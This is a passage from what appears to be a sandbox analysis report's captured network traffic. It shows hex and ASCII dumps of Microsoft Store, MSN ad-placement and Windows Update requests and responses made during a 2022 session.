65 73 20 6f 72 20 76 69 64 65 6f 73 20 79 6f 75 20 63 61 6e 20 76 69 65 77 2e 5c 6e 5c 6e 41 6d 6f 6e 67 20 74 68 65 20 
74 6f 70 20 6e 65 77 73 20 70 72 6f 76 69 64 65 72 73 20 70 61 72 74 6e 65 72 69 6e 67 20 77 69 74 68 20 4d 69 63 72 
6f 73 6f 66 74 20 4e 65 77 73 3a 5c 6e c2 a0 5c 6e 4e 65 77 73 2c 20 70 6f 6c 69 74 69 63 73 20 61 6e 64 20 6f 70 69 6e 
69 6f 6e 3a 20 54 68 65 20 57 61 73 68 69 6e 67 74 6f 6e 20 50 
Data Ascii: tures like a dark mode for nighttime reading. The app is free to download and use with no limits on how many 
articles or videos you can view.\n\nAmong the top news providers partnering with Microsoft News:\n\nNews, politics and 
opinion: The Washington P

2022-05-26 11:46:38 UTC 1624 IN Data Raw: 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 
76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 
2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 
49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2
c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 
6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 
3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 
Data Ascii: ,{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\"
:16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"Pr
oductId":"9WZDNCR

2022-05-26 11:46:38 UTC 1628 IN Data Raw: 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 
74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 36 63 35 38 36 
37 63 31 2d 65 38 37 61 2d 34 38 61 39 2d 61 39 34 62 2d 65 39 66 64 63 62 61 61 63 32 33 38 22 2c 22 57 75 43 61 74 
65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 
63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 
2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 
2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 
Data Ascii: ris":null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"6c5867c1-e87a-48a9-a94b-e9fd
cbaac238","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingN
ews_8wekyb3d8bbwe","SkuId":"0011","Content":null,"Package

Timestamp
kBytes
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Direction Data
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2022-05-26 11:46:38 UTC 1632 IN Data Raw: 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 
6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 
6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 
63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 
69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 
49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 34 30 37 39 32 36 
30 36 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 
Data Ascii: d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"
}],"Architectures":["arm","x86","x64"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":407
92606,"MaxInstallSizeInByte

2022-05-26 11:46:38 UTC 1636 IN Data Raw: 5b 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 57 56 47 41 22 2c 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 
57 58 47 41 22 2c 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 48 44 37 32 30 50 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 
53 49 4c 56 45 52 4c 49 47 48 54 5f 46 52 41 4d 45 57 4f 52 4b 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 50 45 52 49 4f 44 
49 43 42 41 43 4b 47 52 4f 55 4e 44 41 47 45 4e 54 22 2c 22 49 44 5f 46 4e 43 54 4e 4c 5f 52 45 53 4f 55 52 43 45 49 4e 
54 45 4e 53 49 56 45 42 41 43 4b 47 52 4f 55 4e 44 41 47 45 4e 54 22 2c 22 49 44 5f 43 41 50 5f 4e 45 54 57 4f 52 4b 49 
4e 47 22 2c 22 49 44 5f 43 41 50 5f 4d 45 44 49 41 4c 49 42 5f 50 4c 41 59 42 41 43 4b 22 2c 22 49 44 5f 43 41 50 5f 53 
45 4e 53 4f 52 53 22 2c 22 49 44 5f 43 41 50 5f 57 45 
Data Ascii: ["ID_RESOLUTION_WVGA","ID_RESOLUTION_WXGA","ID_RESOLUTION_HD720P","ID_FNCTNL_S
ILVERLIGHT_FRAMEWORK","ID_FNCTNL_PERIODICBACKGROUNDAGENT","ID_FNCTNL_RESOURCEINT
ENSIVEBACKGROUNDAGENT","ID_CAP_NETWORKING","ID_CAP_MEDIALIB_PLAYBACK","ID_CAP_SENSORS","ID
_CAP_WE

2022-05-26 11:46:38 UTC 1640 IN Data Raw: 2e 30 2e 33 32 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 
64 22 3a 22 34 30 65 30 64 66 65 38 2d 64 31 63 39 2d 34 35 61 65 2d 61 37 39 36 2d 64 30 32 33 64 31 63 30 32 66 32 
35 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 30 30 30 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 
65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 
36 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 36 34 2c 22 50 6c 61 74 66 
6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 
44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 
Data Ascii: .0.320_x64__8wekyb3d8bbwe","PackageId":"40e0dfe8-d1c9-45ae-a796-d023d1c02f25-X64","Packa
geRank":20002,"PlatformDependencies":[{"MaxTested":1688858450264064,"MinVersion":1688858450264064,"P
latformName":"Windows.Windows8x"}],"PlatformDependencyXmlBlob":"{\"

2022-05-26 11:46:38 UTC 1644 IN Data Raw: 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 
2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 
5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 2
2 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 
6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 
65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 
Data Ascii: ings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"syst
emId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownl
oadUris":null,"Fu

2022-05-26 11:46:38 UTC 1647 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

82 192.168.2.4 49849 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:38 UTC 1588 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114622Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:38 UTC 1647 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b3c6e6d1-95de-4a7e-9b6b-207d0e32f6ae
Date: Thu, 26 May 2022 11:46:38 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

83 192.168.2.4 49850 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:38 UTC 1647 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114623Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:39 UTC 1647 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: d03a73b6-baa9-48ac-b848-aa606dcded83
Date: Thu, 26 May 2022 11:46:38 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

84 192.168.2.4 49852 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:39 UTC 1648 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114623Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:39 UTC 1650 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 04e1d544-de33-40fa-a195-52269a92a258
Date: Thu, 26 May 2022 11:46:38 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

85 192.168.2.4 49853 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:39 UTC 1648 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20220526T114638Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=7956cda862394f129d871e1ee9b713f2&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1531773&metered=false&nettype=ethernet&npid=sc-
338387&oemName=dchdpw%2C%20Inc.&oemid=dchdpw%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0
&smBiosDm=dchdpw7%2C1&tl=2&tsu=1531773&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1
&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32089&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAbwrbtMyfWYS5LvcRdrN/YSSKm7T30Or
y91THhxVtQ/u1C3XsQR1j/Gul4xhrmxkJ/gRWPmUWRRJjWEonDG3ItND8f5ZyKAKn68VfEM82j6MiB1nRrIPc5mcvr
5ppuO3MEO3yfUDxhgPzM1q2X7H6CJOKTrKEEZtndFDkdCLWN6yKLyBxwSDWaxcfmhc5AJhQpozniuJsgoCeIUxhqim
nMEUPBEwYC5+lMDPYZgC/+mKsowcqL91dribsrM4GGSYJREfBbXzYBwh5TqEpzN6Vh2rv4EyZqbMSZduX6HxpSlHnr
UoW4HxeMqwv68R+xcUcl1lb/NhkRpvR55/LtRTIwUDZgAACOXYsDpcd+FbsAEZgFyCIJf7AMEhmVsQI7CJNBsx1FsB
JJExFGguvnAOi/SHHvVJc7NQpodB2j2TLPIPcTKqICi4CkorOVsbK3xP99Z77/WJ7w05fvan2XtdlE/Wrbq1hleWA8
B0ZCDjwWcDoFY29FzLlvOQ7Xw6e1O1qmhwu6Cm0OtaITUgO7yEuNTaDXgN7PtVHWPLnsjJ7bX2wLxnK7dgderuA1hb
9mCWnCI6bNR2raNpGrSf0um26og0EJ+KGevRUMPmw0xQjHDj7I4HAHkzFf1JtmkcJHatploP8ydbeo/dzo3lITpE/X
41fmjCli5hr2cGbm4p8Iu/V999IoLolvTkdA/lmtU+P8uUpgG+cIDvnARNwdPuMZxY+4Fm5jRqA9WGS+Ty+SvD7gIo
sOI1Id4Yu4ptiN6H6tggaL5FDPRlWp/JxBsmqk8WeUMp7kMRXgCrAKJmqB3avzo2t9lmP232tukV4Pve99JdL7O+0+
iLrUblDLcMSDEwqGtEMfCD/qCmplrMxiqonJvk0NMCVHEe4HMFFlRozQM0NfbGHSFLnUinvmkGSuP3/++asME0vSlN
8fAzaP/aAQ==&p=
Cache-Control: no-cache
MS-CV: Uk/T/jIkQkanI6jT.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-05-26 11:46:39 UTC 1651 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 24587
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000002241809+B+P90+S1,P425462535-T
700374422-C128000000003097149+B+P80+S2,P425119424-T700340276-C128000000003168409+B+P20+S3"},
{"BATCH_REDIRECT_STORE":"BWW_128000000002241809_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"B
WW_128000000003097149_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003168409_EN-US+
P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: JtyOljhJt+XQf5cbCltrf/N10qmAuaBg9XrGerNNGkgPFk19UNJ3+BkmXeLaopcDtAsUEazakrAHFC2
PlwK+9tUVdYtAqQt5FaxKyz7T4u1kHJHuboZUskJahZ5B5Z640V3PGiExm26hMDxQnFVgabonf4dkJxBh5LiqEhtDM
nky+HEoBvu+0Yy+NUOmsCTHWFsWtMZZ9PsD9f1fdAHy0Zl8iGQ/MZEudMTQH3i1O8/jM73MDT8FIErVec9ggOogJQe
w5Yfogh6UjEZrzZOx/RmPfQkLlQaIXiGm0fr6Dp5w5qvIiXpzF1S3RwRYgw/bZfTrFhbt9kd4FU6ovPMTtw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:46:39 GMT
Connection: close

2022-05-26 11:46:39 UTC 1653 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 
65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 
49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\
":\"ima

2022-05-26 11:46:39 UTC 1667 IN Data Raw: 2d 43 38 45 44 2d 33 45 44 34 2d 33 42 31 34 34 42 33 30 43 30 30 43 26 44 53 5f 45 56 54 49 44 3d 66 32 
63 30 33 65 62 63 39 64 33 65 34 64 62 63 38 31 65 36 65 63 30 63 38 37 37 32 37 36 36 61 26 42 43 4e 54 3d 31 26 50 
47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 
5f 54 49 44 3d 39 35 45 33 43 45 42 43 2d 35 38 33 38 2d 34 43 30 42 2d 42 46 30 43 2d 41 34 31 39 30 34 44 46 35 33 
37 39 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 42 43 2d 34 32 41 45 2d 41 35 30 35 2d 42 33 34 
39 38 38 36 38 33 41 43 37 26 41 53 49 44 3d 37 39 35 36 43 44 41 38 36 32 33 39 34 46 31 32 39 44 38 37 31 45 31 45 
45 39 42 37 31 33 46 32 26 52 45 51 41 53 49 44 3d 37 39 35 36 43 44 41 38 
Data Ascii: -C8ED-3ED4-3B144B30C00C&DS_EVTID=f2c03ebc9d3e4dbc81e6ec0c8772766a&BCNT=1&PG=PC
000P0FR5.0000000IRS&UNID=338387&MAP_TID=95E3CEBC-5838-4C0B-BF0C-A41904DF5379&NCT=1&PN=DA63
DF93-3DBC-42AE-A505-B34988683AC7&ASID=7956CDA862394F129D871E1EE9B713F2&REQASID=7956CDA8

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

86 192.168.2.4 49851 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:39 UTC 1651 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:39 UTC 1679 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: d78ab361-4f72-4263-bfb0-13012dbe0255
MS-RequestId: acbb6535-162d-497f-a9a0-8098f1e0aa16
MS-CV: YQHAltpA6kaOC3q5.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:39 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:39 UTC 1680 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-05-26 11:46:39 UTC 1695 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:39 UTC 1711 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

87 192.168.2.4 49854 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:39 UTC 1651 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114624Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:39 UTC 1677 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e3319f18-97c7-41f4-9595-abd15622c985
Date: Thu, 26 May 2022 11:46:38 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
